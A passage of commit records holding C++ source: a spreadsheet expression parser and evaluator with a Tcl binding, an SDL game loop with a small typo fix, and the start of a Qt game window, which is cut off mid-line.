for (auto const& expr : output)\n    result += expr.toStr() + \" \";\n  return result;\n}\n\nstatic void printExpr(std::vector<Expr> const& output)\n{\n  const std::string result = \"Output: \" + stringExpr(output);\n\n  logInfo(result);\n  flashMessage(result);\n}\n\nstatic std::string tokenName(Token token)\n{\n  switch (token)\n  {\n    case Token::Number:\n      return \"Number\";\n\n    case Token::Cell:\n      return \"Cell\";\n\n    case Token::Operator:\n      return \"Operator\";\n\n    case Token::Identifier:\n      return \"Identifier\";\n\n    case Token::LeftParenthesis:\n      return \"LeftParenthesis\";\n\n    case Token::RightParenthesis:\n      return \"RightParenthesis\";\n\n    case Token::Comma:\n      return \"Comma\";\n  }\n\n  return \"Unknown\";\n}\n\nstatic void printStack(std::vector<std::tuple<Token, std::string>> const& stack)\n{\n  std::string result = \"Stack: \";\n  for (auto const& value : stack)\n    result += tokenName(std::get<0>(value)) + \"(\" + std::get<1>(value) + \") \";\n\n  logInfo(result);\n  flashMessage(result);\n}\n\n\nstd::vector<Expr> parseExpression(std::string const& source)\n{\n  std::vector<Expr> output;\n\n  std::vector<std::tuple<Token, std::string>> operatorStack;\n\n  Tokenizer tokenizer(source);\n\n  bool cont = true;\n  while (cont && !tokenizer.eof())\n  {\n    Token token = tokenizer.next();\n\n    switch (token)\n    {\n      case Token::Number:\n        output.push_back(Expr(std::stof(tokenizer.value().c_str())));\n        break;\n\n      case Token::Cell:\n        output.push_back(Expr(Index::fromStr(tokenizer.value())));\n        break;\n\n      case Token::Operator:\n        {\n          const int tokenPrecedence = std::get<0>(operatorTable_.at(tokenizer.value()));\n\n          while (!operatorStack.empty())\n          {\n            Token opToken;\n            std::string opValue;\n            std::tie(opToken, opValue) = operatorStack.back();\n\n            if (opToken != Token::Operator)\n              break;\n\n            int stackPrecedence;\n            Operator stackOperator;\n            std::tie(stackPrecedence, stackOperator) = operatorTable_.at(opValue);\n\n            if (tokenPrecedence <= stackPrecedence)\n            {\n              output.push_back(Expr(Expr::Operator, (uint32_t)stackOperator));\n              operatorStack.pop_back();\n            }\n            else\n              break;\n          }\n\n          operatorStack.push_back(std::make_tuple(Token::Operator, tokenizer.value()));\n        }\n        break;\n\n      case Token::Identifier:\n        {\n          if (functionTable_.count(tokenizer.value()) == 1)\n          {\n            operatorStack.push_back(std::make_tuple(Token::Identifier, tokenizer.value()));\n          }\n          else\n          {\n            logError(\"unknown function in expression '\", source, \"' - \", tokenizer.value());\n            return {};\n          }\n        }\n        break;\n\n      case Token::LeftParenthesis:\n        operatorStack.push_back(std::make_tuple(Token::LeftParenthesis, \"\"));\n        break;\n\n      case Token::RightParenthesis:\n        {\n          bool hasLeftParenthesis = false;\n\n          while (!operatorStack.empty())\n          {\n            Token opToken;\n            std::string opValue;\n            std::tie(opToken, opValue) = operatorStack.back();\n            operatorStack.pop_back();\n\n            if (opToken == Token::LeftParenthesis)\n            {\n              hasLeftParenthesis = true;\n              break;\n            }\n\n            if (opToken != Token::Operator)\n            {\n              logError(\"parse error in expression '\", source, \"' - expected operator\");\n              return {};\n            }\n\n            output.push_back(Expr(Expr::Operator, (uint32_t)std::get<1>(operatorTable_.at(opValue))));\n          }\n\n          if (!hasLeftParenthesis)\n          {\n            logError(\"parse error in expression '\", source, \"' - missing start parenthesis\");\n            return {};\n          }\n\n          if (!operatorStack.empty())\n          {\n            Token opToken;\n            std::string opValue;\n            std::tie(opToken, opValue) = operatorStack.back();\n\n            if (opToken == Token::Identifier)\n            {\n              output.push_back(Expr(Expr::Function, (uint32_t)functionTable_.at(opValue)));\n              operatorStack.pop_back();\n            }\n          }\n        }\n        break;\n\n      case Token::Comma:\n        {\n          bool foundLeftParenthesis = false;\n\n          while (!operatorStack.empty())\n          {\n            Token opToken;\n            std::string opValue;\n            std::tie(opToken, opValue) = operatorStack.back();\n\n            if (opToken == Token::LeftParenthesis)\n            {\n              foundLeftParenthesis = true;\n              break;\n            }\n\n            operatorStack.pop_back();\n\n            switch (opToken)\n            {\n              case Token::Operator:\n                output.push_back(Expr(Expr::Operator, (uint32_t)std::get<1>(operatorTable_.at(opValue))));\n                break;\n\n              case Token::Identifier:\n                output.push_back(Expr(Expr::Function, (uint32_t)functionTable_.at(opValue)));\n                break;\n\n              default:\n                logError(\"error in expression '\", source, \"' - did not expect \", opValue);\n                return {};\n            }\n          }\n\n          if (!foundLeftParenthesis)\n          {\n            logError(\"error in expression '\", source, \"' - missplaced parenthesis or comma\");\n            return {};\n          }\n        }\n        break;\n\n      case Token::EndOfFile:\n        cont = false;\n        break;\n\n      case Token::Error:\n        logError(\"parse error in expression '\", source, \"' - \", tokenizer.value());\n        return {};\n    };\n  }\n\n  while (!operatorStack.empty())\n  {\n    Token opToken;\n    std::string opValue;\n    std::tie(opToken, opValue) = operatorStack.back();\n    operatorStack.pop_back();\n\n    switch (opToken)\n    {\n      case Token::Operator:\n        output.push_back(Expr(Expr::Operator, (uint32_t)std::get<1>(operatorTable_.at(opValue))));\n        break;\n\n      case Token::Identifier:\n        output.push_back(Expr(Expr::Function, (uint32_t)functionTable_.at(opValue)));\n        break;\n\n      case Token::LeftParenthesis:\n        logError(\"parse error in expression '\", source, \"' - missing closing parenthesis\");\n        return {};\n\n      default:\n        logError(\"error in expression '\", source, \"' - did not expect \", opValue);\n        return {};\n    }\n  }\n\n  printExpr(output);\n\n  return output;\n}\n\nExpr popExpr(std::vector<Expr> & valueStack)\n{\n  Expr expr = valueStack.back();\n  valueStack.pop_back();\n  return expr;\n}\n\nbool execOperator(std::vector<Expr> & valueStack, Operator op)\n{\n  const double b = popExpr(valueStack).toDouble();\n  const double a = popExpr(valueStack).toDouble();\n\n  switch (op)\n  {\n    case Operator::Multiply:\n      valueStack.push_back(a * b);\n      break;\n\n    case Operator::Divide:\n      valueStack.push_back(a \/ b);\n      break;\n\n    case Operator::Add:\n      valueStack.push_back(a + b);\n      break;\n\n    case Operator::Subtract:\n      valueStack.push_back(a - b);\n      break;\n\n    default:\n      return false;\n  }\n\n  return true;\n}\n\nbool execFunction(std::vector<Expr> & valueStack, Function func)\n{\n  switch (func)\n  {\n    case Function::Sum:\n      {\n        if (valueStack.size() < 3)\n        {\n          logError(\"wrong number of arguments to SUM(range)\");\n          return false;\n        }\n\n        const Expr rangeOp = popExpr(valueStack);\n        if (rangeOp.type_ != Expr::Operator || rangeOp.id_ != (uint32_t)Operator::Range)\n        {\n          logError(\"sum function expected range argument\");\n          return false;\n        }\n\n        const Expr endExpr = popExpr(valueStack);\n        const Expr startExpr = popExpr(valueStack);\n\n        if (startExpr.type_ != Expr::Cell || endExpr.type_ != Expr::Cell)\n        {\n          logError(\"invalid range, two cell references expected\");\n          return false;\n        }\n\n        Index const& startIdx = startExpr.index_;\n        Index const& endIdx = endExpr.index_;\n\n        if (startIdx.x > endIdx.x || startIdx.y > endIdx.y)\n        {\n          logError(\"invalid range, row and column in start index \", startIdx.toStr(), \" must be less than end index \", endIdx.toStr());\n          return false;\n        }\n\n        double sum = 0.0;\n        for (int y = startIdx.y; y <= endIdx.y; ++y)\n          for (int x = startIdx.x; x <= endIdx.x; ++x)\n            sum += doc::getCellValue(Index(x, y));\n\n        valueStack.push_back(sum);\n      }\n      break;\n\n    case Function::Min:\n      {\n        if (valueStack.size() < 2)\n        {\n          logError(\"wrong number of arguments to MIN(a, b)\");\n          return false;\n        }\n\n        const double b = popExpr(valueStack).toDouble();\n        const double a = popExpr(valueStack).toDouble();\n\n        valueStack.push_back(std::min(a, b));\n      }\n      break;\n\n    case Function::Max:\n      {\n        if (valueStack.size() < 2)\n        {\n          logError(\"wrong number of arguments to MAX(a, b)\");\n          return false;\n        }\n\n        const double b = popExpr(valueStack).toDouble();\n        const double a = popExpr(valueStack).toDouble();\n\n        valueStack.push_back(std::max(a, b));\n      }\n      break;\n  }\n\n  return true;\n}\n\ndouble evaluate(std::vector<Expr> const& expression)\n{\n  std::vector<Expr> valueStack;\n  valueStack.reserve(expression.size());\n\n  for (auto const& expr : expression)\n  {\n    switch (expr.type_)\n    {\n      case Expr::Constant:\n      case Expr::Cell:\n        valueStack.push_back(expr);\n        break;\n\n      case Expr::Operator:\n        {\n          if (expr.id_ == (uint32_t)Operator::Range)\n          {\n            valueStack.push_back(expr);\n          }\n          else\n          {\n            if (!execOperator(valueStack, (Operator)expr.id_))\n              return 0.0f;\n          }\n        }\n        break;\n\n      case Expr::Function:\n        {\n          if (!execFunction(valueStack, (Function)expr.id_))\n            return 0.0;\n        }\n        break;\n    }\n  }\n\n  if (valueStack.size() != 1)\n  {\n    logError(\"error while calculating expression '\", stringExpr(expression));\n    return 0.0;\n  }\n\n  return valueStack.front().toDouble();\n}\n\n\nTCL_FUNC(calculate, \"string ?string ...?\")\n{\n  TCL_CHECK_ARGS(2, 1000);\n\n  std::string expressionString;\n  for (uint32_t i = 1; i < argc; ++i)\n    expressionString += Jim_String(argv[i]) + std::string(\" \");\n\n  const std::vector<Expr> expr = parseExpression(expressionString);\n\n  if (expr.empty())\n    return JIM_ERR;\n\n  const double result = evaluate(expr);\n  TCL_DOUBLE_RESULT(result);\n}\n<commit_msg>Added documentation<commit_after>\n#include \"Expression.h\"\n#include \"Tokenizer.h\"\n#include \"Document.h\"\n#include \"Editor.h\"\n#include \"Log.h\"\n#include \"Tcl.h\"\n\n#include <unordered_map>\n#include <stack>\n\nenum class Function\n{\n  Sum,\n  Min,\n  Max\n};\n\nenum class Operator\n{\n  Range,\n  Multiply,\n  Divide,\n  Add,\n  Subtract\n};\n\nstatic const std::unordered_map<std::string, std::tuple<uint32_t, Operator>> operatorTable_ = {\n  { \":\",  std::make_tuple(5, Operator::Range) },\n  { \"*\",  std::make_tuple(4, Operator::Multiply) },\n  { \"\/\",  std::make_tuple(3, Operator::Divide) },\n  { \"+\",  std::make_tuple(1, Operator::Add) },\n  { \"-\",  std::make_tuple(1, Operator::Subtract) }\n};\n\nstatic const std::unordered_map<std::string, Function> functionTable_ = {\n  { \"SUM\", Function::Sum },\n  { \"MIN\", Function::Min },\n  { \"MAX\", Function::Max }\n};\n\n\nstd::string Expr::toStr() const\n{\n  switch (type_)\n  {\n    case Expr::Constant:\n      return str::fromDouble(constant_);\n\n    case Expr::Operator:\n      return \"Operator(\" + str::fromInt(id_) + \")\";\n\n    case Expr::Function:\n      return \"Function(\" + str::fromInt(id_) + \")\";\n\n    case Expr::Cell:\n      return index_.toStr();\n  }\n}\n\ndouble Expr::toDouble() const\n{\n  switch (type_)\n  {\n    case Expr::Constant:\n      return constant_;\n\n    case Expr::Cell:\n      return doc::getCellValue(index_);\n\n    default:\n      return 0.0;\n  }\n}\n\nstatic std::string stringExpr(std::vector<Expr> const& output)\n{\n  std::string result;\n  for (auto const& expr : output)\n    result += expr.toStr() + \" \";\n  return result;\n}\n\nstatic void printExpr(std::vector<Expr> const& output)\n{\n  const std::string result = \"Output: \" + stringExpr(output);\n\n  logInfo(result);\n  flashMessage(result);\n}\n\nstatic std::string tokenName(Token token)\n{\n  switch (token)\n  {\n    case Token::Number:\n      return \"Number\";\n\n    case Token::Cell:\n      return \"Cell\";\n\n    case Token::Operator:\n      return \"Operator\";\n\n    case Token::Identifier:\n      return \"Identifier\";\n\n    case Token::LeftParenthesis:\n      return \"LeftParenthesis\";\n\n    case Token::RightParenthesis:\n      return \"RightParenthesis\";\n\n    case Token::Comma:\n      return \"Comma\";\n  }\n\n  return \"Unknown\";\n}\n\nstatic void printStack(std::vector<std::tuple<Token, std::string>> const& stack)\n{\n  std::string result = \"Stack: \";\n  for (auto const& value : stack)\n    result += tokenName(std::get<0>(value)) + \"(\" + std::get<1>(value) + \") \";\n\n  logInfo(result);\n  flashMessage(result);\n}\n\n\nstd::vector<Expr> parseExpression(std::string const& source)\n{\n  std::vector<Expr> output;\n\n  std::vector<std::tuple<Token, std::string>> operatorStack;\n  operatorStack.reserve(10);\n\n  Tokenizer tokenizer(source);\n\n  bool cont = true;\n  while (cont && !tokenizer.eof())\n  {\n    Token token = tokenizer.next();\n\n    switch (token)\n    {\n      case Token::Number:\n        output.push_back(Expr(std::stof(tokenizer.value().c_str())));\n        break;\n\n      case Token::Cell:\n        output.push_back(Expr(Index::fromStr(tokenizer.value())));\n        break;\n\n      case Token::Operator:\n        {\n          const int tokenPrecedence = std::get<0>(operatorTable_.at(tokenizer.value()));\n\n          while (!operatorStack.empty())\n          {\n            Token opToken;\n            std::string opValue;\n            std::tie(opToken, opValue) = operatorStack.back();\n\n            if (opToken != Token::Operator)\n              break;\n\n            int stackPrecedence;\n            Operator stackOperator;\n            std::tie(stackPrecedence, stackOperator) = operatorTable_.at(opValue);\n\n            if (tokenPrecedence <= stackPrecedence)\n            {\n              output.push_back(Expr(Expr::Operator, (uint32_t)stackOperator));\n              operatorStack.pop_back();\n            }\n            else\n              break;\n          }\n\n          operatorStack.push_back(std::make_tuple(Token::Operator, tokenizer.value()));\n        }\n        break;\n\n      case Token::Identifier:\n        {\n          if (functionTable_.count(tokenizer.value()) == 1)\n          {\n            operatorStack.push_back(std::make_tuple(Token::Identifier, tokenizer.value()));\n          }\n          else\n          {\n            logError(\"unknown function in expression '\", source, \"' - \", tokenizer.value());\n            return {};\n          }\n        }\n        break;\n\n      case Token::LeftParenthesis:\n        operatorStack.push_back(std::make_tuple(Token::LeftParenthesis, \"\"));\n        break;\n\n      case Token::RightParenthesis:\n        {\n          bool hasLeftParenthesis = false;\n\n          while (!operatorStack.empty())\n          {\n            Token opToken;\n            std::string opValue;\n            std::tie(opToken, opValue) = operatorStack.back();\n            operatorStack.pop_back();\n\n            if (opToken == Token::LeftParenthesis)\n            {\n              hasLeftParenthesis = true;\n              break;\n            }\n\n            if (opToken != Token::Operator)\n            {\n              logError(\"parse error in expression '\", source, \"' - expected operator\");\n              return {};\n            }\n\n            output.push_back(Expr(Expr::Operator, (uint32_t)std::get<1>(operatorTable_.at(opValue))));\n          }\n\n          if (!hasLeftParenthesis)\n          {\n            logError(\"parse error in expression '\", source, \"' - missing start parenthesis\");\n            return {};\n          }\n\n          if (!operatorStack.empty())\n          {\n            Token opToken;\n            std::string opValue;\n            std::tie(opToken, opValue) = operatorStack.back();\n\n            if (opToken == Token::Identifier)\n            {\n              output.push_back(Expr(Expr::Function, (uint32_t)functionTable_.at(opValue)));\n              operatorStack.pop_back();\n            }\n          }\n        }\n        break;\n\n      case Token::Comma:\n        {\n          bool foundLeftParenthesis = false;\n\n          while (!operatorStack.empty())\n          {\n            Token opToken;\n            std::string opValue;\n            std::tie(opToken, opValue) = operatorStack.back();\n\n            if (opToken == Token::LeftParenthesis)\n            {\n              foundLeftParenthesis = true;\n              break;\n            }\n\n            operatorStack.pop_back();\n\n            switch (opToken)\n            {\n              case Token::Operator:\n                output.push_back(Expr(Expr::Operator, (uint32_t)std::get<1>(operatorTable_.at(opValue))));\n                break;\n\n              case Token::Identifier:\n                output.push_back(Expr(Expr::Function, (uint32_t)functionTable_.at(opValue)));\n                break;\n\n              default:\n                logError(\"error in expression '\", source, \"' - did not expect \", opValue);\n                return {};\n            }\n          }\n\n          if (!foundLeftParenthesis)\n          {\n            logError(\"error in expression '\", source, \"' - missplaced parenthesis or comma\");\n            return {};\n          }\n        }\n        break;\n\n      case Token::EndOfFile:\n        cont = false;\n        break;\n\n      case Token::Error:\n        logError(\"parse error in expression '\", source, \"' - \", tokenizer.value());\n        return {};\n    };\n  }\n\n  while (!operatorStack.empty())\n  {\n    Token opToken;\n    std::string opValue;\n    std::tie(opToken, opValue) = operatorStack.back();\n    operatorStack.pop_back();\n\n    switch (opToken)\n    {\n      case Token::Operator:\n        output.push_back(Expr(Expr::Operator, (uint32_t)std::get<1>(operatorTable_.at(opValue))));\n        break;\n\n      case Token::Identifier:\n        output.push_back(Expr(Expr::Function, (uint32_t)functionTable_.at(opValue)));\n        break;\n\n      case Token::LeftParenthesis:\n        logError(\"parse error in expression '\", source, \"' - missing closing parenthesis\");\n        return {};\n\n      default:\n        logError(\"error in expression '\", source, \"' - did not expect \", opValue);\n        return {};\n    }\n  }\n\n  printExpr(output);\n\n  return output;\n}\n\nExpr popExpr(std::vector<Expr> & valueStack)\n{\n  Expr expr = valueStack.back();\n  valueStack.pop_back();\n  return expr;\n}\n\nbool execOperator(std::vector<Expr> & valueStack, Operator op)\n{\n  const double b = popExpr(valueStack).toDouble();\n  const double a = popExpr(valueStack).toDouble();\n\n  switch (op)\n  {\n    case Operator::Multiply:\n      valueStack.push_back(a * b);\n      break;\n\n    case Operator::Divide:\n      valueStack.push_back(a \/ b);\n      break;\n\n    case Operator::Add:\n      valueStack.push_back(a + b);\n      break;\n\n    case Operator::Subtract:\n      valueStack.push_back(a - b);\n      break;\n\n    default:\n      return false;\n  }\n\n  return true;\n}\n\nbool execFunction(std::vector<Expr> & valueStack, Function func)\n{\n  switch (func)\n  {\n    case Function::Sum:\n      {\n        if (valueStack.size() < 3)\n        {\n          logError(\"wrong number of arguments to SUM(range)\");\n          return false;\n        }\n\n        const Expr rangeOp = popExpr(valueStack);\n        if (rangeOp.type_ != Expr::Operator || rangeOp.id_ != (uint32_t)Operator::Range)\n        {\n          logError(\"sum function expected range argument\");\n          return false;\n        }\n\n        const Expr endExpr = popExpr(valueStack);\n        const Expr startExpr = popExpr(valueStack);\n\n        if (startExpr.type_ != Expr::Cell || endExpr.type_ != Expr::Cell)\n        {\n          logError(\"invalid range, two cell references expected\");\n          return false;\n        }\n\n        Index const& startIdx = startExpr.index_;\n        Index const& endIdx = endExpr.index_;\n\n        if (startIdx.x > endIdx.x || startIdx.y > endIdx.y)\n        {\n          logError(\"invalid range, row and column in start index \", startIdx.toStr(), \" must be less than end index \", endIdx.toStr());\n          return false;\n        }\n\n        double sum = 0.0;\n        for (int y = startIdx.y; y <= endIdx.y; ++y)\n          for (int x = startIdx.x; x <= endIdx.x; ++x)\n            sum += doc::getCellValue(Index(x, y));\n\n        valueStack.push_back(sum);\n      }\n      break;\n\n    case Function::Min:\n      {\n        if (valueStack.size() < 2)\n        {\n          logError(\"wrong number of arguments to MIN(a, b)\");\n          return false;\n        }\n\n        const double b = popExpr(valueStack).toDouble();\n        const double a = popExpr(valueStack).toDouble();\n\n        valueStack.push_back(std::min(a, b));\n      }\n      break;\n\n    case Function::Max:\n      {\n        if (valueStack.size() < 2)\n        {\n          logError(\"wrong number of arguments to MAX(a, b)\");\n          return false;\n        }\n\n        const double b = popExpr(valueStack).toDouble();\n        const double a = popExpr(valueStack).toDouble();\n\n        valueStack.push_back(std::max(a, b));\n      }\n      break;\n  }\n\n  return true;\n}\n\ndouble evaluate(std::vector<Expr> const& expression)\n{\n  std::vector<Expr> valueStack;\n  valueStack.reserve(expression.size());\n\n  for (auto const& expr : expression)\n  {\n    switch (expr.type_)\n    {\n      case Expr::Constant:\n      case Expr::Cell:\n        valueStack.push_back(expr);\n        break;\n\n      case Expr::Operator:\n        {\n          if (expr.id_ == (uint32_t)Operator::Range)\n          {\n            valueStack.push_back(expr);\n          }\n          else\n          {\n            if (!execOperator(valueStack, (Operator)expr.id_))\n              return 0.0f;\n          }\n        }\n        break;\n\n      case Expr::Function:\n        {\n          if (!execFunction(valueStack, (Function)expr.id_))\n            return 0.0;\n        }\n        break;\n    }\n  }\n\n  if (valueStack.size() != 1)\n  {\n    logError(\"error while calculating expression '\", stringExpr(expression));\n    return 0.0;\n  }\n\n  return valueStack.front().toDouble();\n}\n\n\nTCL_FUNC(calculate, \"string ?string ...?\", \"Evaluates the given expression in the same way a cell that starts with = is evaluated\")\n{\n  TCL_CHECK_ARGS(2, 1000);\n\n  std::string expressionString;\n  for (uint32_t i = 1; i < argc; ++i)\n    expressionString += Jim_String(argv[i]) + std::string(\" \");\n\n  const std::vector<Expr> expr = parseExpression(expressionString);\n\n  if (expr.empty())\n    return JIM_ERR;\n\n  const double result = evaluate(expr);\n  TCL_DOUBLE_RESULT(result);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_ttf.h>\n\n#include \"GameEngine.h\"\n#include \"GameData.h\"\n#include \"EntityContainer.h\"\n#include \"RenderData.h\"\n#include \"Timer.h\"\n#include \"DeltatimeMonitor.h\"\n#include \"VirtualGameStateController.h\"\n\nnamespace flat2d\n{\n\tvoid GameEngine::init(int screenWidth, int screenHeight, int fps)\n\t{\n\t\tthis->screenWidth = screenWidth;\n\t\tthis->screenHeight = screenHeight;\n\t\tthis->screenFps = fps;\n\t\tthis->screenTicksPerFrame = 1000 \/ fps;\n\t}\n\n\tvoid GameEngine::run(VirtualGameStateController *gameStateController) const\n\t{\n\t\tSDL_Renderer *renderer = gameData->getRenderData()->getRenderer();\n\t\tEntityContainer *entityContainer = gameData->getEntityContainer();\n\n\t\tTimer fpsTimer;\n\t\tTimer drawFpsTimer;\n\n\t\tfpsTimer.start();\n\t\tdrawFpsTimer.start();\n\n\t\t\/\/ Loop stuff\n\t\tflat2d::Timer fpsCapTimer;;\n\t\tSDL_Event e;\n\t\tbool quit = false;\n\n\t\t\/\/ Main loop\n\t\tgameData->getDeltatimeMonitor()->updateDeltaTime();\n\t\twhile (!quit) {\n\t\t\tfpsCapTimer.start();\n\t\t\tgameData->getDeltatimeMonitor()->updateDeltaTime();\n\n\t\t\tif (gameStateController) {\n\t\t\t\tquit = gameStateController->quit();\n\t\t\t\tif (gameStateController->gameStateCheck(gameData)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/ Handle events\n\t\t\twhile (SDL_PollEvent (&e) != 0) {\n\t\t\t\tif (e.type == SDL_QUIT) {\n\t\t\t\t\tquit = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (gameStateController) {\n\t\t\t\t\tgameStateController->handle(e);\n\t\t\t\t}\n\t\t\t\tentityContainer->handleObjects(e, gameData);\n\t\t\t}\n\n\t\t\tentityContainer->moveObjects(gameData);\n\n\t\t\t\/\/ Clear screen to black\n\t\t\tSDL_SetRenderDrawColor( renderer, 0x0, 0x0, 0x0, 0xFF );\n\t\t\tSDL_RenderClear( renderer );\n\t\t\tentityContainer->renderObjects(gameData);\n\n\t\t\tSDL_SetRenderDrawColor(renderer, 0xFF, 0x00, 0x00, 0xFF);\n\n\t\t\t\/\/ Update the screen\n\t\t\tSDL_RenderPresent( renderer );\n\n\t\t\tint tickCount = fpsCapTimer.getTicks();\n\t\t\tif (tickCount < screenTicksPerFrame) {\n\t\t\t\tSDL_Delay(screenTicksPerFrame - tickCount);\n\t\t\t}\n\t\t}\n\t}\n} \/\/ namespace flat2d\n<commit_msg>Removes minor typo in GameEngine.cpp<commit_after>#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_ttf.h>\n\n#include \"GameEngine.h\"\n#include \"GameData.h\"\n#include \"EntityContainer.h\"\n#include \"RenderData.h\"\n#include \"Timer.h\"\n#include \"DeltatimeMonitor.h\"\n#include \"VirtualGameStateController.h\"\n\nnamespace flat2d\n{\n\tvoid GameEngine::init(int screenWidth, int screenHeight, int fps)\n\t{\n\t\tthis->screenWidth = screenWidth;\n\t\tthis->screenHeight = screenHeight;\n\t\tthis->screenFps = fps;\n\t\tthis->screenTicksPerFrame = 1000 \/ fps;\n\t}\n\n\tvoid GameEngine::run(VirtualGameStateController *gameStateController) const\n\t{\n\t\tSDL_Renderer *renderer = gameData->getRenderData()->getRenderer();\n\t\tEntityContainer *entityContainer = gameData->getEntityContainer();\n\n\t\tTimer fpsTimer;\n\t\tTimer drawFpsTimer;\n\n\t\tfpsTimer.start();\n\t\tdrawFpsTimer.start();\n\n\t\t\/\/ Loop stuff\n\t\tflat2d::Timer fpsCapTimer;\n\t\tSDL_Event e;\n\t\tbool quit = false;\n\n\t\t\/\/ Main loop\n\t\tgameData->getDeltatimeMonitor()->updateDeltaTime();\n\t\twhile (!quit) {\n\t\t\tfpsCapTimer.start();\n\t\t\tgameData->getDeltatimeMonitor()->updateDeltaTime();\n\n\t\t\tif (gameStateController) {\n\t\t\t\tquit = gameStateController->quit();\n\t\t\t\tif (gameStateController->gameStateCheck(gameData)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/ Handle events\n\t\t\twhile (SDL_PollEvent (&e) != 0) {\n\t\t\t\tif (e.type == SDL_QUIT) {\n\t\t\t\t\tquit = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (gameStateController) {\n\t\t\t\t\tgameStateController->handle(e);\n\t\t\t\t}\n\t\t\t\tentityContainer->handleObjects(e, gameData);\n\t\t\t}\n\n\t\t\tentityContainer->moveObjects(gameData);\n\n\t\t\t\/\/ Clear screen to black\n\t\t\tSDL_SetRenderDrawColor( renderer, 0x0, 0x0, 0x0, 0xFF );\n\t\t\tSDL_RenderClear( renderer );\n\t\t\tentityContainer->renderObjects(gameData);\n\n\t\t\tSDL_SetRenderDrawColor(renderer, 0xFF, 0x00, 0x00, 0xFF);\n\n\t\t\t\/\/ Update the screen\n\t\t\tSDL_RenderPresent( renderer );\n\n\t\t\tint tickCount = fpsCapTimer.getTicks();\n\t\t\tif (tickCount < screenTicksPerFrame) {\n\t\t\t\tSDL_Delay(screenTicksPerFrame - tickCount);\n\t\t\t}\n\t\t}\n\t}\n} \/\/ namespace flat2d\n<|endoftext|>"}
{"text":"<commit_before>#include \"GameWindow.h\"\n\n\nGameWindow::GameWindow(QMainWindow *parent) : QMainWindow(parent), m_fpga(this), m_game()\n{\n\t\/****General setup****\/\n\tthis->setWindowTitle(\"Scorch\");\n\tthis->setStatusBar(new QStatusBar);\n    this->setWindowIcon(QIcon(QPixmap(\":\/resources\/icon_big.png\")));\n\t\n\tsetFocus();\n\tsetStyleSheet(\"QMainWindow::separator{ width:0px; height:0px;}\");\n\tm_game.getView()->setFocusPolicy(Qt::NoFocus);\n\t\n\t\n\t\/****Central widget****\/\n\tGameModeWidget * m_gameModeWidget;\n\tAngleStatusWidget * m_currentAngle;\n\tFirePowerWidget * m_currentPower;\n\n\tthis->setCentralWidget(m_game.getView());\n\n\t\n\t\/****Bottom Widget (Information about player)****\/\n\tQWidget* bottomWidget = new QWidget;\n\tQDockWidget* informationPanel = new QDockWidget;\n\tinformationPanel->setAllowedAreas(Qt::BottomDockWidgetArea);\n\tinformationPanel->setFeatures(QDockWidget::NoDockWidgetFeatures);\n\tGameBottomLayout *bottomLayout = new GameBottomLayout;\n\n\tm_gameModeWidget = new GameModeWidget;\n\tbottomLayout->addWidget(m_gameModeWidget);\n\n\t\/\/This should be an object with custom paint method to make it interesting\n\tm_currentAngle = new AngleStatusWidget;\n\tm_currentAngle->setAngle(0);\n\n\t\/\/This will be an object with custom paint method to make it interesting\n\tm_currentPower = new FirePowerWidget;\n\tm_currentPower->setPower(50);\n\n\tbottomLayout->addStretch();\n\tbottomLayout->addWidget(m_currentAngle);\n\tbottomLayout->setAlignment(m_currentAngle, Qt::AlignRight);\n\tbottomLayout->addWidget(m_currentPower);\n\n\tbottomWidget->setLayout(bottomLayout);\n\tinformationPanel->setWidget(bottomWidget);\n\n\tthis->addDockWidget(Qt::BottomDockWidgetArea, informationPanel);\n\n\t\n\t\/****Menus****\/\n\tm_menuBar = new QMenuBar;\n\t\n\t\/\/ File menu\n\tm_menuFichier = new QMenu(\"Fichier\");\n\tm_actionQuit = new QAction(\"Quitter\", this);\n\t\tm_actionQuit->setShortcut(QKeySequence(\"Q\"));\n\tm_actionNewGame = new QAction(\"Nouvelle partie\", this);\n\t\tm_actionNewGame->setShortcut(QKeySequence(\"N\"));\n\n\tm_menuFichier->addAction(m_actionNewGame);\n\tm_menuFichier->addSeparator();\n\tm_menuFichier->addAction(m_actionQuit);\n\tm_menuBar->addMenu(m_menuFichier);\n\n\t\/\/ Game menu\n\tm_menuJeux = new QMenu(\"Jeux\");\n\tm_actionPause = new QAction(\"Pause\", this);\n\t\tm_actionPause->setShortcut(QKeySequence(\"P\"));\n\tm_actionMuet = new QAction(\"Muet\", this);\n\t\tm_actionMuet->setShortcut(QKeySequence(\"M\"));\n\n\tm_menuJeux->addAction(m_actionPause);\n\tm_menuJeux->addSeparator();\n\tm_menuJeux->addAction(m_actionMuet);\n\tm_menuBar->addMenu(m_menuJeux);\n\n\t\/\/Help menu\n\tm_menuAide = new QMenu(\"Aide\");\n\tm_actionTutoriel = new QAction(\"Tutoriel\", this);\n\tm_actionVersion = new QAction(\"Version\", this);\n\tQAction* actionAboutQt = new QAction(\"A Propos de Qt\", this);\n\n\tm_menuAide->addAction(m_actionTutoriel);\n\tm_menuAide->addSeparator();\n\tm_menuAide->addAction(m_actionVersion);\n\tm_menuAide->addSeparator();\n\tm_menuAide->addAction(actionAboutQt);\n\tm_menuBar->addMenu(m_menuAide);\n\n\tthis->setMenuBar(m_menuBar);\n\t\n\t\/****Connections****\/\n\t\/\/ Connect Menu\n\tconnect(m_actionQuit, &QAction::triggered, QApplication::instance(), &QApplication::quit);\n\tconnect(actionAboutQt, &QAction::triggered, QApplication::instance(), &QApplication::aboutQt);\n\tconnect(m_actionPause, &QAction::triggered, this, &GameWindow::pausedTriggered);\n\tconnect(m_actionNewGame, SIGNAL(triggered()), this, SLOT(openNewGame()));\n\tconnect(m_actionTutoriel, SIGNAL(triggered()), this, SLOT(openTutoriel()));\n\tconnect(m_actionVersion, SIGNAL(triggered()), this, SLOT(openVersion()));\n\n\t\/\/ Connect Input\n\tconnect(&m_fpga, &FPGAReceiver::fpgaError, this, &GameWindow::displayStatusMessage);\n\n\t\/\/ Connect Game\n\tconnect(&m_game, &Game::playerChanged, this, &GameWindow::playerChanged);\n\tconnect(&m_game, &Game::angleChanged, this, &GameWindow::angleChanged);\n\tconnect(&m_game, &Game::powerChanged, this, 